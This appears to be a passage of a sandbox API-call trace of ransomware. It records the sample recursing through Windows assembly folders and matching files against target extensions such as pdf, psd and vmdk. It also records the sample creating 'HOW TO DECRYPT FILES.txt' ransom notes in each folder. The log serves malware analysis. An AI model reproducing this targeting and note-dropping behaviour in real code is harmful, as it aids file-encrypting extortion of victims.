(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.odg") returned 0 [0106.013] lstrlenA (lpString="*.odg") returned 5 [0106.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.raw") returned 0 [0106.013] lstrlenA (lpString="*.raw") returned 5 [0106.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.nef") returned 0 [0106.013] lstrlenA (lpString="*.nef") returned 5 [0106.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.svg") returned 0 [0106.013] lstrlenA (lpString="*.svg") returned 5 [0106.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.psd") returned 0 [0106.013] lstrlenA (lpString="*.psd") returned 5 [0106.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.vmx") returned 0 [0106.013] lstrlenA (lpString="*.vmx") returned 5 [0106.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.vmdk") returned 0 [0106.014] lstrlenA (lpString="*.vmdk") returned 6 [0106.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.vdi") returned 0 [0106.014] lstrlenA (lpString="*.vdi") returned 5 [0106.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.lay6") returned 0 [0106.014] lstrlenA (lpString="*.lay6") returned 6 [0106.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.mpeg") returned 0 [0106.014] lstrlenA (lpString="*.mpeg") returned 6 [0106.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.djvu") returned 0 [0106.014] lstrlenA (lpString="*.djvu") returned 6 [0106.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.tiff") returned 0 [0106.014] lstrlenA (lpString="*.tiff") returned 6 [0106.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.backup") returned 0 [0106.014] lstrlenA (lpString="*.backup") returned 8 [0106.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.pdf") returned 0 [0106.014] lstrlenA (lpString="*.pdf") returned 5 [0106.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.cert") returned 0 [0106.014] lstrlenA (lpString="*.cert") returned 6 [0106.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.docm") returned 0 [0106.014] lstrlenA (lpString="*.docm") returned 6 [0106.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.xlsm") returned 0 [0106.014] lstrlenA (lpString="*.xlsm") returned 6 [0106.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.dwg") returned 0 [0106.015] lstrlenA (lpString="*.dwg") returned 5 [0106.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.nd") returned 0 [0106.015] lstrlenA (lpString="*.nd") returned 4 [0106.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.tlg") returned 0 [0106.015] lstrlenA (lpString="*.tlg") returned 5 [0106.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.lgb") returned 0 [0106.015] lstrlenA (lpString="*.lgb") returned 5 [0106.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.mov") returned 0 [0106.015] lstrlenA (lpString="*.mov") returned 5 [0106.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.xdw") returned 0 [0106.015] lstrlenA (lpString="*.xdw") returned 5 [0106.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.ods") returned 0 [0106.016] lstrlenA (lpString="*.ods") returned 5 [0106.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\System.IO.Log.ni.dll", pszSpec="*.wav") returned 0 [0106.016] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x891664b8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x891664b8, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8918c618, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x5d200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.IO.Log.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0106.016] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0106.016] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89224b99, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x89224b99, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x89224b99, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="19837bdc62b7667aba81364142e3565a", cAlternateFileName="19837B~1")) returned 0 [0106.016] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0106.016] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5de7ee3f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5de7ee3f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5de7ee3f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Management", cAlternateFileName="SYSTEM~1.MAN")) returned 1 [0106.016] lstrcmpA (lpString1=".", lpString2="System.Management") returned -1 [0106.016] lstrcmpA (lpString1="..", lpString2="System.Management") returned -1 [0106.017] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0106.017] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Management" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management" [0106.017] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5de7ee3f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5de7ee3f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5de7ee3f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0106.017] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.017] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5de7ee3f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5de7ee3f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5de7ee3f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.017] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.017] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.017] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5de7ee3f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5de7ee3f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5de7ee3f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6f3b99ed0b791ff4d8aa52f2f0cd0bcf", cAlternateFileName="6F3B99~1")) returned 1 [0106.018] lstrcmpA (lpString1=".", lpString2="6f3b99ed0b791ff4d8aa52f2f0cd0bcf") returned -1 [0106.018] lstrcmpA (lpString1="..", lpString2="6f3b99ed0b791ff4d8aa52f2f0cd0bcf") returned -1 [0106.018] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management\\*.*") returned="*.*" [0106.018] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management\\", lpString2="6f3b99ed0b791ff4d8aa52f2f0cd0bcf" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf" [0106.018] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5de7ee3f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5de7ee3f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5de7ee3f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0106.018] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.018] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5de7ee3f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5de7ee3f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5de7ee3f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.018] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.018] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.018] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dde68be, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5dde68be, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5de0ca1e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x100a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Management.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0106.018] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0106.018] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Management.ni.dll") returned -1 [0106.019] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Management.ni.dll") returned -1 [0106.019] lstrcmpiA (lpString1="", lpString2="System.Management.ni.dll") returned -1 [0106.019] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\*.*") returned="*.*" [0106.019] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\" [0106.019] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\") returned="" [0106.019] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\HOW TO DECRYPT FILES.txt" [0106.019] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\how to decrypt files.txt")) returned 0xffffffff [0106.019] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0106.023] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0106.023] CloseHandle (hObject=0x90) returned 1 [0106.023] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\", lpString2="System.Management.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\System.Management.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\System.Management.ni.dll" [0106.023] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\System.Management.ni.dll", pszSpec="*.ems") returned 0 [0106.024] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dde68be, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5dde68be, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5de0ca1e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x100a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Management.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0106.024] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0106.024] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5de7ee3f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5de7ee3f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5de7ee3f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6f3b99ed0b791ff4d8aa52f2f0cd0bcf", cAlternateFileName="6F3B99~1")) returned 0 [0106.024] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0106.024] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66bfaae4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x66bfaae4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x66bfaae4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Management.A#", cAlternateFileName="SYSTEM~1.A#")) returned 1 [0106.024] lstrcmpA (lpString1=".", lpString2="System.Management.A#") returned -1 [0106.024] lstrcmpA (lpString1="..", lpString2="System.Management.A#") returned -1 [0106.024] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0106.024] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Management.A#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.A#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.A#" [0106.024] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.A#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66bfaae4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x66bfaae4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x66bfaae4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0106.025] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.025] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66bfaae4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x66bfaae4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x66bfaae4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.025] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.025] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.025] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66bfaae4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x66bfaae4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x66bfaae4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="4436815b432c313255af322f4ec3560d", cAlternateFileName="443681~1")) returned 1 [0106.025] lstrcmpA (lpString1=".", lpString2="4436815b432c313255af322f4ec3560d") returned -1 [0106.025] lstrcmpA (lpString1="..", lpString2="4436815b432c313255af322f4ec3560d") returned -1 [0106.025] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.A#\\*.*") returned="*.*" [0106.025] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.A#\\", lpString2="4436815b432c313255af322f4ec3560d" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.A#\\4436815b432c313255af322f4ec3560d") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.A#\\4436815b432c313255af322f4ec3560d" [0106.025] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.A#\\4436815b432c313255af322f4ec3560d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66bfaae4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x66bfaae4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x66bfaae4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0106.025] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.026] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66bfaae4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x66bfaae4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x66bfaae4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.026] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.026] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.026] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x668b4c9e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x668b4c9e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x66a7dd21, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x876400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Management.Automation.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0106.026] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0106.026] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Management.Automation.ni.dll") returned -1 [0106.026] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Management.Automation.ni.dll") returned -1 [0106.026] lstrcmpiA (lpString1="", lpString2="System.Management.Automation.ni.dll") returned -1 [0106.026] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.A#\\4436815b432c313255af322f4ec3560d\\*.*") returned="*.*" [0106.026] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.A#\\4436815b432c313255af322f4ec3560d\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.A#\\4436815b432c313255af322f4ec3560d\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.A#\\4436815b432c313255af322f4ec3560d\\" [0106.026] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.A#\\4436815b432c313255af322f4ec3560d\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.A#\\4436815b432c313255af322f4ec3560d\\") returned="" [0106.026] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.A#\\4436815b432c313255af322f4ec3560d\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.A#\\4436815b432c313255af322f4ec3560d\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.A#\\4436815b432c313255af322f4ec3560d\\HOW TO DECRYPT FILES.txt" [0106.026] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.A#\\4436815b432c313255af322f4ec3560d\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.management.a#\\4436815b432c313255af322f4ec3560d\\how to decrypt files.txt")) returned 0xffffffff [0106.026] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.A#\\4436815b432c313255af322f4ec3560d\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.management.a#\\4436815b432c313255af322f4ec3560d\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 